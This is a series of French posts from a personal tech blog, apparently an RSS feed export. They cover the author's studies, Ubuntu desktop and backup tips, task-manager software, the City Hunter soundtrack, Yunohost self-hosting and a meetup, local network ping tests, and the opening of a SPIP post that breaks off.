<p>L'entrée à ce DESS se faisait sur concours écrit. 40 sélectionné pour l'écrit, 20 pris. Je l'ai tenté un première fois et comme je n'ai pas été pris, en attendant de retenter le concours, j'ai fait, un peu par dépit, un Diplôme Universitaire d'Informatique appliquée. Un D.U., c'était un diplôme après le Bac +4 mais qui ne donnait pas lieu à un Bac +5... Une sorte de Bac+4,5.</p>
<p>J'étais donc avec un Bac +4 en Biologie, après 6 ans d'études...</p>
<p><strong>Le D.U. d'Informatique appliqué</strong></p>
<p>Le DU a été une révélation. J'y ai découvert l'informatique et le logiciel libre, ait appris la programmation, le réseau, l'architecture, l'algorithmie. J'ai surtout appris à apprendre l'informatique. J'avais trouvé ma voie. Moi qui n'avais jamais programmé une calculatrice, qui détestait la ligne de commande DOS, je comprenais enfin le principe d'Unix. Et surtout j'avais accroché à la philosophie du logiciel libre.</p>
<p>A la fin de l'année, en juin, lors de mon stage de fin d'année, je profitais d'avoir une connexion Internet en ADSL (j'étais en 56k chez mes parents) pour lancer mon blog...</p>
<p>J'ai eu mon diplôme avec mention Bien, je suis sorti major de ma promotion. Après 8 ans d'études, j'avais un diplôme qui me correspondait, mais qui était insuffisant. Car je ne pouvais prétendre devenir un informaticien après à peine un an de ce que je qualifierai de mise à niveau en informatique, que je voulais mon BAC +5, j'ai continué avec un DESS de Bio-Informatique. J'avais abandonné l'idée de la communication/vulgarisation scientifique.</p>
<p><strong>Mon DESS de Bioinformatique</strong></p>
<p>Les cours étaient pour moitié de la Biologie (Génétique, Biologie Moléculaire, le tout très axé Génomique...) et l'autre de l'Informatique pure et dure (Programmation, réseau). En cours d'informatique, j'étais le seul à comprendre les profs d'infos, ses blagues. Tous mes collègues venaient de Biologie et avaient choisi ce diplôme pour apprendre à utiliser les logiciels de bioinformatique, pas à les coder et encore moins comprendre l'informatique....</p>
<p>J'étais bien durant les cours d'informatique. J'avais soif de toujours plus apprendre. Je lisais des tas de livres empruntés à la bibliothèque universitaire, je posais des tas de questions. Je voulais toujours en savoir plus. Je suis devenu autodidacte en informatique... Et grâce à mes notes en informatique, j'ai eu mon diplôme avec mention Bien, je suis sorti majeur de ma promotion.</p>
<p><strong>Conclusion de l'époque</strong></p>
<p>J'ai été et je continue à être autodidacte, je me forme et m'intéresse à des sujets qui ne font pas partie de ce sur quoi je pourrais travailler en SSII. Mes préoccupations actuelles (chiffrement, vie privée), mes prises de contact avec la communauté hacker, sont éloignés de ce que je fais au quotidien. Je ne sais toujours pas ce que je veux faire dans la vie, je ne suis plus dans la Biologie.<br class='autobr' /> Mes études de Biologie me servent-elles à quelque chose ? Elles m'ont permis de rencontrer Mme Genma, elles m'ont permis de grandir, de mûrir de devenir adulte, en prenant le temps. Elles m'ont permis d'avoir un esprit scientifique et d'aller jusqu'à un diplôme Bac +5, pour savoir où me mettre dans les grilles de salaires. C'est déjà beaucoup.</p>
<p>Des précédents articles et de futurs articles montreront que mon travail en SSII ne me convient pas forcément. Mais comme j'ai mon blog à côté, où j'aime ce que je fais, j'ai ma bulle d'air quotidienne.</p>
<p><strong>Ma conclusion de maintenant</strong></p>
<p>Les témoignages que j'ai fait ces derniers mois montrent à quel point les choses ont changées entre 2013, au moment où je faisais cette conclusion et aujourd'hui, où je republie cet article... Je pense qu'il était important de remettre en ligne mon parcours, pour explique d'où je viens, cela aide mieux à comprendre où je suis arrivé.</p></div>
		
		


feed_id: https://blog.genma.fr/?Ubuntu-Unity-Afficher-les-heures-de-plusieurs-zones-geographiques
title: Ubuntu - Unity - Afficher les heures de plusieurs zones géographiques
uri: Ubuntu-Unity-Afficher-les-heures-de-plusieurs-zones-géographiques
url: https://blog.genma.fr/?Ubuntu-Unity-Afficher-les-heures-de-plusieurs-zones-geographiques
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2703.jpg?1509970095' width='150' height='79' />
		<div class='rss_texte'><p>Je travaille sous Ubuntu comme OS professionnel et j'ai besoin d'interagir avec différents collaborateurs qui se trouvent sous différents fuseaux horaires. J'utilise Unity comme environnement de bureau par défaut. J'ai donc l'heure et la date afficher en haut droit de chaque écran (je travaille avec plusieurs écrans). Comme je suis amené à cliquer régulièrement pour afficher le calendrier associé, pour voir des numéros de semaine ou repérer quel jour tombe quelle date (sans avoir à passer sur la fenêtre de Thunderbird dans lequel j'ai mon agenda avec Lightning), dans ce calendrier, j'ai donc ajouté différentes localisations liées à différents fuseaux horaires. Exemple en image :</p>
<p><span class='spip_document_2516 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/local/cache-vignettes/L334xH338/ubuntu_unity_horaires_detail-9bfb4.png?1512720212' width='334' height='338' alt="" /></span></p>
<p>Ainsi à tout moment je sais si je peux contacter mon collaborateur, savoir s'il est susceptible de me répondre (si on est ou non dans sa plage horaire de travail). Et ce, sans avoir à faire appel à ma mémoire pour le nombre d'heure de décalage et à faire un peu de calcul mental pour la différence horaire. C'est là l'inconvénient ;)</p>
<p><span class='spip_document_2517 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_unity_horaires.png?1509970063' width='500' height='307' alt="" /></span></p>
<p>Pour faire comme moi, il faut aller dans le paramétrage et de cliquer sur le bouton "Choisir des emplacements" pour ajouter les heures de différents lieux.</p></div>
		
		


feed_id: https://blog.genma.fr/?Logiciel-de-gestion-des-taches-Task-Coach
title: Logiciel de gestion des tâches - Task Coach
uri: Logiciel-de-gestion-des-tâches-Task-Coach
url: https://blog.genma.fr/?Logiciel-de-gestion-des-taches-Task-Coach
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2675.jpg?1512980042' width='150' height='79' />
		<div class='rss_texte'><p><strong>Attention : article mise à jour au 12 décembre</strong></p>
<p>Via le billet <a href="http://hauteresolution.net/blog/articles/la-these-chez-moi-ou-mes-premieres-methodes-de-travail/11/" title="La thèse chez moi (ou : mes premières méthodes de travail)">La thèse chez moi (ou : mes premières méthodes de travail)</a>, j'ai découvert le logiciel Task Coach.</p>
<p><span class='spip_document_2508 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/task_coach.png?1502285338' width='500' height='147' alt="" /></span></p>
<p><strong>Task Coach c'est quoi ? </strong></p>
<p>Task Coach est un logiciel libre et <i>est un gestionnaire de tâches permettant d'organiser facilement son travail en le découpant en tâches et sous-tâches. Les tâches peuvent être classées par catégorie et un outil permet de comptabiliser le temps passé sur chaque tâche.</i></p>
<p>Il présente <a href="https://framework/Portables/TaskCoachPortable" title="TaskCoachPortable sur la Framakey">tout une liste de fonctionnalités qui sont listées ici</a>, <a href="https://framakey.org" title="la Framakey par Framasoft">sur la page de la Framakey par Framasoft</a>. C'est assez complet.</p>
<p>Le site officiel de Task Coach <a href="http://taskcoach.org/" title="Le site officiel de Task Coach">http://taskcoach.org/</a></p>
<p>Je l'ai installé pour le tester rapidement, c'est assez complet et donc complexe pour mon besoin simple d'avoir une sorte de Todo-liste. Je verrai si je prends le temps de me pencher sur l'usage du logiciel de façon plus approfondie, car….</p>
<p><strong>Tasks pour Nextcloud, une alternative</strong></p>
<p>Actuellement, l'application que j'utilise au quotidien, c'est <a href="https://github.com/nextcloud/tasks" title="l'application Tasks pour Nextcloud">l'application Tasks pour Nextcloud</a>. L'avantage qu'à celle-ci est qu'elle s'intègre dans Nextcloud, permet donc un accès à sa liste de tâches depuis n'importe quel machine disposant d'un navigateur et surtout une synchronisation avec l'application "Tâches" via DavDroid sur un smartphone Android ou LineagesOS. Du coup, je peux saisir différentes tâches depuis mon smartphone que j'ai tout le temps à porter de main, et quand je suis devant mon PC, je peux dépiler ma todo-liste et faire les différentes choses auxquelles j'avais pensé (comme rédiger différents billets de blog sur différents sujets).</p>
<p><strong>Update</strong> : pour la synchronisation des tâches sur smartphone, j'utilise DavDroid (en cochant l'option <i>qui va bien</i> de synchronisation des tâches au niveau de la synchronisation des agendas) et l'application <a href="https://f-droid.org/en/packages/org.dmfs.tasks/" title="Open Tasks disponible sur F-Droid">Open Tasks disponible sur F-Droid</a> au sein de laquelle on retrouve les tâches de Nextcloud.</p>
<p><strong>Conclusion</strong></p>
<p>Donc pour l'instant, je n'utilise pas Task Coach. Mais si c'était le cas et commençais à l'utiliser de façon régulière, je rédigerai alors très probablement un billet sur le sujet.</p></div>
		
		


feed_id: https://blog.genma.fr/?City-Hunter-L-OST-de-l-anime
title: City Hunter - L'OST de l'anime
uri: City-Hunter-L-OST-de-l-anime
url: https://blog.genma.fr/?City-Hunter-L-OST-de-l-anime
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2682.jpg?1513324940' width='150' height='79' />
		<div class='rss_texte'><p>City Hunter, c'est sous l'appellation Nicky Larson que je l'ai découvert au Club Dorothée. Plus tard, c'est sous la version manga papier avec la collection J'ai Lu que j'ai redécouvert la série et que je suis devenu fan.</p>
<p>Pour moi, manga et anime sont complémentaires. Les dessins de Hôĵô du manga se sont bonifiés volume après volume (et le trait toujours plus beau avec les séries qui ont suivies) et les magnifiques artwork que l'on peut trouver sont là pour en témoigner. L'anime a bien vieilli, même si le style d'animation est ancré dans son époque. Une chose qui n'a pas vieilli et qui ne vieillira jamais par contre, c'est la bande son.</p>
<p>Je suis un fan inconditionnel des chansons de City Hunter. Les chansons de City Hunter sont pour moi des chansons parfaites et pour lesquelles je n'ai rien à redire. Il y a beaucoup d'OST que j'aime par dessus tout dans le monde de l'animation japonaise et qui sortent du lot, et que j'écoute régulièrement. Mais sortant du lot, il y a très clairement celles de City Hunter.</p>
<p>Les musiques et les chansons que l'on peut entendre tout au long de la série m'ont marqués à jamais dès la première diffusion dans les années 90 au Club Dorothée. J'ai revue quelques épisodes en français via la chaîne Mangas et on retrouve bien les chansons en version originale dans la version française.</p>
<p>De Full Steps à en passant par Earth ou encore Get Wild et Want your love... que de chansons que je pourrais citer... J'ai été marqué à jamais par certaines. Certaines sont associées à des moments de ma vie, où je les ai écouté pour me réfugier dans ma bulle, dans un moment de coup de blues ou autre.</p>
<p>Pour vous faire une idée de cet OST, je ne peux que vous inviter à écouter les deux excellents du podcats <a href="https://blog.genma.fr/?Anime-No-Melody" title="Présentation et critique d'Anime No Melody">Anime No Melody</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://podcloud.fr/podcast/animenomelody/episode/anime-no-melody-omake-number-8-city-hunter-collection-partie-1" title="Anime no melody - Omake 8 City-hunter collection - partie 1">Anime no melody - Omake 8 City-hunter collection - partie 1</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://podcloud.fr/podcast/animenomelody/episode/anime-no-melody-omake-number-8-city-hunter-collection-partie-2" title="Anime no melody - Omake 8 City-hunter collection - partie 2">Anime no melody - Omake 8 City-hunter collection - partie 2</a><br class='autobr' />
qui passe en revue quelques-unes des meilleurs chansons des différents albums qui existent pour la série animé. <i>Emission spéciale donc d'une durée exceptionnelle de 3h30, en deux parties. La première partie se consacre au manga et à l'animé suivis d'extraits des soundtracks. La 2e partie se consacre aux films, OAV et TV FILMS. Le tout avec des extraits des soundtracks - bandes sons</i>.</p>
<p>Nombreux sont les cds (un par saison plus les best-of), pour débuter, je ne peux que vous conseiller les CD. City Hunter Dramatic Master 1 (1 cd) et 2 (2 cd) ainsi que le cd City Hunter - Best Collection qui contient les meilleurs chansons de la série.<br class='autobr' />
Mais comme il y a aussi quelques bonnes chansons dans les films et OAV, si vous pouvez, je vous conseille d'avoir la collection complète des CD.</p>
<p>A noter que le CD Dramatic Master volume 2 contient aussi des BGM (Back Ground Music) mythique comme " the ballad of silver bullet" "Midnight Lightning" ou encore le thème "The Shining of cat's eye", des musiques incontournables que l'on entend régulièrement au cours des différents épisodes.</p></div>
		
		


feed_id: https://blog.genma.fr/?Yunohost-deux-ans-apres
title: Yunohost, deux ans après
uri: Yunohost-deux-ans-après
url: https://blog.genma.fr/?Yunohost-deux-ans-apres
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2715.jpg?1513533607' width='150' height='79' />
		<div class='rss_texte'><p>Un petit billet rapide, en attendant le retour des billets techniques les prochaines semaines (et prochains mois).</p>
<p>Début décembre 2015, suite à une discussion avec l'ami Solarus lors du Capitole du libre de Toulouse, je me décidais enfin à franchir le pas de l'autohébergement. Je débutais donc l'année 2016 en publiant <a href="https://blog.genma.fr/?2016-annee-de-l-autohebergement" title="2016 année de l'autohébergement ?">2016 année de l'autohébergement ?</a> au sein duquel j'expliquais le début de mon aventure sur le sujet. Depuis nombreux sont les billets que j'ai publié tagué <a href="https://blog.genma.fr/?+-Auto-hebergement-+" title="Mes billets sur l'autohebergement"></a> et <a href="https://blog.genma.fr/?+-Yunohost-+" title="Mes billets sur Yunohost">Yunohost</a>, écrit au fur et à mesure des mois et de mon apprentissage et appropriation du système.</p>
<p>De la plupart de mes services hébergés sur les serveurs de Framasoft dans le cadre du projet Degooglisons, je suis passé à du tout auto-hébergé pour tout ce qui concerne mon propre besoin en terme de cloud. D'un Raspberry et carte SD, je suis passé à une machine de type mini-pc de récupération, avec 2 Go de mémoire et un processeur Intel Atom, une machine de faible consommation électrique, qui a presque 10 ans mais qui tourne toujours et convient parfaitement à mes besoins.</p>
<p>J'ai suivi et je suis les évolutions des différents projets autres, comme CozyCloud, mais je suis et je reste fidèle à Yunohost qui correspond vraiment à ce dont j'avais besoin. Ca marche, c'est stable (ça reste une base Debian stable et donc par définition, c'est stable). Je n'ai jamais réinstallé ma machine qui tourne depuis plus d'un an et demi et ma machine tourne H24. Je l'ai déjà redémarré (mise à jour du kernel), éteinte volontairement (ou involontairement <a href="https://blog.genma.fr/?Coupure-de-courant-et-auto-hebergement" title="Coupure de courant et auto-hébergement">comme dans le cas d'une coupure de courant prolongée</a>).</p>
<p>Mais... Je fais les mises à jour. Je teste les packages dans une machine virtuelle avant (Voir <a href="https://blog.genma.fr/?Yunohost-Clonezilla-et-Virtualbox" title="Yunohost, Clonezilla et Virtualbox">Yunohost, Clonezilla et Virtualbox</a> & <a href="https://blog.genma.fr/?Yunohost-Virtualbox-Interfaces-reseaux" title="Yunohost, Virtualbox, Interfaces réseaux">Yunohost, Virtualbox, Interfaces réseaux</a>). Je sais revenir en arrière. Je fais et j'ai testé la restauration de mes sauvegardes... Je ne bidouille pas ma machine de production.</p>
<p>J'ai déjà eu des coupures de courant, je n'ai pas de corruption majeure mais ce n'est pas une carte SD dedans. Mon mini PC tient la route est solide, le matériel est éprouvé et supporté depuis longtemps par Linux. Il n'a rien d'exotique et a été conçu pour tourner en continue (c'est le genre de mini-PC qu'on branchait derrière un écran, il a d'ailleurs le format VESA).</p>
<p>J'avais écris différents billets dont celui sur <a href="https://blog.genma.fr/?L-elitisme-de-l-auto-hebergement" title="L'élitisme de l'auto-hébergement">l'élitisme de l'auto-hébergement</a> je vous y renvoie pour plus de détails, mais je continue de penser que l'auto-hébergement reste quelque chose destiné à des personnes s'y connaissant et ayant le temps d'apprendre (La preuve est le fait que j'ai une VM de recette, que je ne fais pas modifications directement sur ma machine finale, je fais des sauvegardes etc.).</p>
<p>Mais l'initiative de CHATONS, le <a href="https://chatons.org/" title="Collectif des Hébergeurs Alternatifs, Transparents, Ouverts, Neutres et Solidaires">Collectif des Hébergeurs Alternatifs, Transparents, Ouverts, Neutres et Solidaires</a> continue son petit bonhomme de chemin. Je pense que cela reste la solution viable pour le grand public, pour celles et ceux qui n'ont pas, comme moi, la possibilité d'avoir du temps, l'envie d'apprendre etc. car ils ou elles ont plein d'autres choses à faire (et à juste titre). Car le plus important, que ce soit via soi-même ou via un CHATONS, c'est d'avoir un <i>cloud</i> respectueux de ses données personnelles.</p></div>
		
		


feed_id: https://blog.genma.fr/?Meet-Up-Yunohost-Presentation-du-projet-et-comment-contribuer
title: Meet-Up Yunohost - Présentation du projet et comment contribuer
uri: Meet-Up-Yunohost-Présentation-du-projet-et-comment-contribuer
url: https://blog.genma.fr/?Meet-Up-Yunohost-Presentation-du-projet-et-comment-contribuer
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2728.jpg?1514975943' width='150' height='79' />
		<div class='rss_texte'><p><strong>Meetup le mercredi 17 janvier 2018</strong></p>
<p>Suite à mon appel pour un lieu pour un Meet-up Yunohost, <a href="https://blog.genma.fr/?Un-Meetup-Yunohost-Appel-pour-aider-ce-projet" title="Un Meetup Yunohost ? Appel pour aider ce projet">Un Meetup Yunohost ? Appel pour aider ce projet</a>, nous avons un local et une date ! L'entreprise Nbs-system nous accueillera donc <strong>le mercredi 17 janvier à 19h00 pour un meet-up de présentation de Yunohost et de comment on peut contribuer au projet.</strong></p>
<p>Je remercie Emmanuel Seyman (Fedora-fr, Parinux...) Au programme : un "meet-up" (pour le buzz word) de présentation de Yunohost et de comment on peut contribuer au projet et l'occasion de se rencontrer autour de ce projet :).</p>
<p><strong>Le lieu : Nbs-system, au 8 Rue Bernard Buffet, Paris 17 ème, Métro Brochant (ligne 13)</strong></p>
<p><strong>Pour s'inscrire, merci de saisir un pseudo sur le Framadate suivant : <a href="https://framadate.org/meetupyunohost" title="Framadate du Meetup Yunohost">https://framadate.org/meetupyunohost</a></strong></p>
<p><strong>Présentation du Meetup</strong></p>
<p>YunoHost est une distribution basée sur Debian GNU/Linux composée, essentiellement, de logiciels libres, ayant pour objectif de faciliter l'auto-hébergement. YunoHost facilite l'installation et l'utilisation d'un serveur personnel. Autrement dit, YunoHost permet d'héberger sur sa machine et chez soi son courrier électronique, son site web, sa messagerie instantanée, son agrégateur de nouvelles (flux RSS), son partage de fichiers, sa seedbox et bien d'autres… Le nom YunoHost vient de l'anglais Y-U-No-Host ("Why you no host ?"), signifiant « Pourquoi ne pas t'héberger ? ». Il s'agit d'un jeu de mot issu du mème internet "Y U NO".</p>
<p>Yunohost c'est le système qui fait tourner la Brique Internet, mais pas que... Framasoft dédie une journée de temps de l'un de ses salariés durant laquelle, chaque semaine, du travail est fait pour packager les applications des différentes applications Degooglisons Internet pour les rendre disponibles au sein de YunoHost.</p>
<p>L'objectif de cette soirée est de faire une présentation du projet Yunohost, de ses objectifs et de pourquoi et comment contribuer au projet.</p></div>
		
		


feed_id: https://blog.genma.fr/?Yunohost-Usage-depuis-le-reseau-local
title: Yunohost - Usage depuis le réseau local
uri: Yunohost-Usage-depuis-le-réseau-local
url: https://blog.genma.fr/?Yunohost-Usage-depuis-le-reseau-local
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2727.jpg?1514562817' width='150' height='79' />
		<div class='rss_texte'><p>Configuration du réseau : mon PC portable et mon serveur Yunohost sont branchés tout deux derrière la Freebox, qui crée un réseau locale entre ces deux machines. La Freebox est configuré en routeur, son IP publique est associée au nom de domaine du serveur Yunohost et la configuration NAT fait que toute entrée depuis l'extérieur (via l'IP publique), sur le bon port, est redirigée vers le serveur Yunohost.</p>
<p><a href="https://forum.yunohost.org/t/resolu-utiliser-lip-locale-quand-on-est-sur-le-reseau-local-nextcloud-webdav-davfs2/4015/" title="Message de Koantig sur le forum de Yunohost">Dans son message sur le forum Yunohost</a>, Koantig a une configuration similaire et s'inquiète de l'usage du nom de domaine quand on est en local</p>
<blockquote class="spip">
<p>
Le hic, c'est que tout ça passe par internet, alors que tout est local. J'aimerais faire en sorte que si je suis sur le réseau local, les requêtes ne passent pas par internet.</p>
</blockquote>
<p>Et arrive à la conclusion qu'il faut associer l'IP locale de la machine au nom de domaine dans le fichier /etc/hosts.</p>
<p>Sa solution marche, mais dans le cas où on déplace la machine (cas d'un PC portable par exemple), il faut penser à enlever cette ligne.</p>
<p><strong>Est-ce que ça sort vraiment sur Internet ?</strong></p>
<p>Pour le vérifier, si je fais depuis mon réseau local un "traceroute mondomaine.fr", on voit qu'on s'arrête au premier routeur, qui a pour IP l'IP publique de la Freebox. On ne sort donc pas de la Freebox et d'Internet. Certe la Freebox va refaire du transfert NAT et changer les paquets pour les retransferer à la machine Yunohost, ce qui est une étape de plus contrairement à l'usage directement de l'IP locale (dans ce cas les fonctions de routeur et de NAT de la Freebox ne sont pas sollicités)</p>
<p>Sur le réseau local, derrière ma Freebox, ma Freebox sait que si une machine local demande l'IP publique correspondant à Yunohost, elle doit rediriger le trafic vers mon Yunohost. La Freebox fait une redirection NAT en interne, mais ça "ne sort" pas sur Internet.</p>
<p>Est-ce qu'on perd du temps ?<br class='autobr' />
Si je fais <br class='autobr' />
ping IP locale, j'ai :</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>64 bytes from IP Locale: icmp_seq=1 ttl=64 time=0.303 ms<br /> 64 bytes from IP Locale: icmp_seq=2 ttl=64 time=0.314 ms<br /> 64 bytes from IP Locale: icmp_seq=3 ttl=64 time=0.306 ms<br /> 64 bytes from IP Locale: icmp_seq=4 ttl=64 time=0.273 ms<br /> 64 bytes from IP Locale: icmp_seq=5 ttl=64 time=0.269 ms</code></div>
<p>Soit 289 ms de moyenne.</p>
<p>Si je fais ping IP publique, j'ai :</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>64 bytes from IP Publique: icmp_seq=1 ttl=64 time=0.253 ms<br /> 64 bytes from IP Publique: icmp_seq=2 ttl=64 time=0.488 ms<br /> 64 bytes from IP Publique: icmp_seq=3 ttl=64 time=0.488 ms<br /> 64 bytes from IP Publique: icmp_seq=4 ttl=64 time=0.253 ms</code></div>
<p>Soit 370 ms de moyenne.</p>
<p>C'est effectivement "un peu plus lent" (vu qu'on fait le routage et la redirection NAT avec l'IP publique), mais ce n'est pas suffisament sensible.</p></div>
		
		


feed_id: https://blog.genma.fr/?Sauvegarder-simplement-avec-Ubuntu
title: Sauvegarder simplement avec Ubuntu ?
uri: Sauvegarder-simplement-avec-Ubuntu
url: https://blog.genma.fr/?Sauvegarder-simplement-avec-Ubuntu
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2723.jpg?1514466988' width='150' height='79' />
		<div class='rss_texte'><p>Dans le cadre des sauvegardes, il y a la théorie et les bonnes pratiques... A ce sujet <a href="https://blog.genma.fr/?Sauvegarde-la-regle-des-3-2-1" title="Sauvegarde la règle des 3-2-1">Sauvegarde la règle des 3-2-1</a> et <a href="https://blog.genma.fr/?A-I-2-Qu-est-ce-que-je-dois-sauvegarder" title="Qu'est ce que je dois sauvegarder ?">Qu'est ce que je dois sauvegarder ?</a> Mais généralement les sauvegardes, on sait qu'il faut les faire, on remet toujours ça à plus tard...</p>
<p>Il y a des solutions techniques, efficaces, mais complexes, du script utilisant Grsync à des solutions comme Borg en passant par des BackupPC... Pour le code, il y a les serveurs Git...</p>
<p>Dans le présent article, je voudrais parler d'une solution simple de sauvegarde de document bureautique. Je travaille assez régulièrement à la rédaction de document bureautique (de type documentation à livrer à un client). Et pour faire mes sauvegardes (je travaille sous Ubuntu d'où le titre), j'ai deux façons de faire.</p>
<p><strong>Nextcloud, uns solution simple</strong></p>
<p>J'ai un dossier "De travail" synchronisé avec un Nextcloud. Et je m'efforce de faire tout le travail de rédaction (les documents en cours d'écriture et de modification) dans ce dossier. Ce système de synchronisation n'est pas vraiment une sauvegarde, mais c'est mieux que rien car cela permet d'avoir un double du document et si l'option est bien activée sur le serveur, d'avoir différentes versions du document archivées (on a un historique des versions antérieures). Toutefois cette solution a pour inconvénient de solliciter le réseau à chaque enregistrement du (des) fichiers et on se repose alors sur la confiance que l'on a dans le serveur Nextcloud et les sauvegardes qui en sont faites.</p>
<p><strong>L'outil de sauvegarde intégré dans Ubuntu</strong></p>
<p>Ubuntu est fournie par défaut avec un outil de sauvegarde. Il suffit de chercher "Sauvegarde" tout simplement pour lancer le logiciel. Je dispose d'un disque dur externe que je branche régulièrement et c'est sur ce dernier que sont alors faites les sauvegardes.</p>
<p>Ce logiciel, appelé Deja Dup, a l'avantage d'être assez paramétrable, mais de façon simple : <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> dossier à sauvegarder, dossier à ignorer
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> sauvegarde tous les jours ou toutes les semaines, <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> durée de conservation : 6 mois, un an, indéfiniment...</p>
<p><span class='spip_document_2526 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_sauvegarde_01.png?1514466742' width='500' height='280' alt="" /></span></p>
<p><span class='spip_document_2527 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_sauvegarde_02.png?1514466746' width='500' height='280' alt="" /></span></p>
<p><span class='spip_document_2528 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_sauvegarde_03.png?1514466751' width='500' height='280' alt="" /></span></p>
<p><span class='spip_document_2529 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_sauvegarde_04.png?1514466757' width='500' height='280' alt="" /></span></p>
<p><span class='spip_document_2530 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_sauvegarde_05.png?1514466763' width='500' height='280' alt="" /></span></p>
<p><span class='spip_document_2531 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/local/cache-vignettes/L462xH387/ubuntu_sauvegarde_06-9cac1.png?1515571165' width='462' height='387' alt="" /></span></p>
<p><span class='spip_document_2532 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/local/cache-vignettes/L462xH387/ubuntu_sauvegarde_07-8918b.png?1515571165' width='462' height='387' alt="" /></span></p>
<p>L'espace disque disponible est pris en compte, on peut protéger les données par un mot de passe (à utiliser pour la restauration des données. Et attention à ne pas oublier ce mot de passe sinon on ne peut plus récupérer ses sauvegardes).</p>
<p><strong>Restauration ?</strong></p>
<p>Sauvegarder, c'est bien. Mais <strong>il faut toujours tester les restorations des sauvegardes. Car une bonne sauvegarde est une sauvegarde que l'on peut restaurer</strong>. Restaurer ? C'est une autre façon de dire "récupérer des données sauvegardées". Voir à ce sujet <a href="https://blog.genma.fr/?Sauvegarde-et-restauration" title="Sauvegarde et restauration">Sauvegarde et restauration</a></p>
<p>Ayant supprimé par mégarde un fichier, j'ai donc eu avoir recours à ma sauvegarde et valider que cet outil faisait bien les restauration de façon correcte.</p>
<p><span class='spip_document_2533 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_restauration_01.png?1514466786' width='500' height='347' alt="" /></span></p>
<p><span class='spip_document_2534 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_restauration_02.png?1514466792' width='500' height='347' alt="" /></span></p>
<p><span class='spip_document_2535 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_restauration_03.png?1514466799' width='500' height='347' alt="" /></span></p>
<p><span class='spip_document_2536 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_restauration_04.png?1514466808' width='500' height='347' alt="" /></span></p>
<p><span class='spip_document_2537 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_restauration_05.png?1514466816' width='500' height='347' alt="" /></span></p>
<p><span class='spip_document_2538 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/ubuntu_restauration_06.png?1514466823' width='500' height='347' alt="" /></span></p>
<p>On appuie sur le bouton, on définie la date, le dossier où rétablir la sauvegarde (le dossier d'origine ou un autre dossier), le mot de passe. On restaure tout le contenu de la dernière sauvegarde. Il faut donc le faire dans un dossier dédié si on ne veut récupérer qu'un fichier et non l'état du dossier sauvegardé à un instant donnée (celui de la sauvegarde). Et c'est là une des limites de cette solution : on ne peut pas restaurer un seul fichier ; on doit restaurer tout une sauvegarde. Pas très pratique. Mais c'est déjà mieux que pas de sauvegarde du tout.</p></div>
		
		


feed_id: https://blog.genma.fr/?Spip-un-exemple-pour-le-logiciel-libre
title: Spip, un exemple pour le logiciel libre ?
uri: Spip-un-exemple-pour-le-logiciel-libre
url: https://blog.genma.fr/?Spip-un-exemple-pour-le-logiciel-libre
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2717.jpg?1514283888' width='150' height='79' />
		<div class='rss_texte'><p><strong>Petit rappel sur Spip</strong></p>
<p>Comme indiqué <a href="https://www.spip.net" title="Le site de SPIP">sur le site du logiciel</a>, <i>SPIP est un système de publication pour l'Internet qui s'attache particulièrement au fonctionnement collectif, au multilinguisme et à la facilité d'emploi. C'est un logiciel libre, distribué sous la licence GNU/GPL.</i> Avec les années, SPIP a grandement évolué mais à toujours garder deux de ses spécificités : sa modularité et extensibilité via tout un écosystème de plugins et son systèmes de templates (les fameux squelettes).</p>
<p><strong>Pourquoi Spip ?</strong></p>
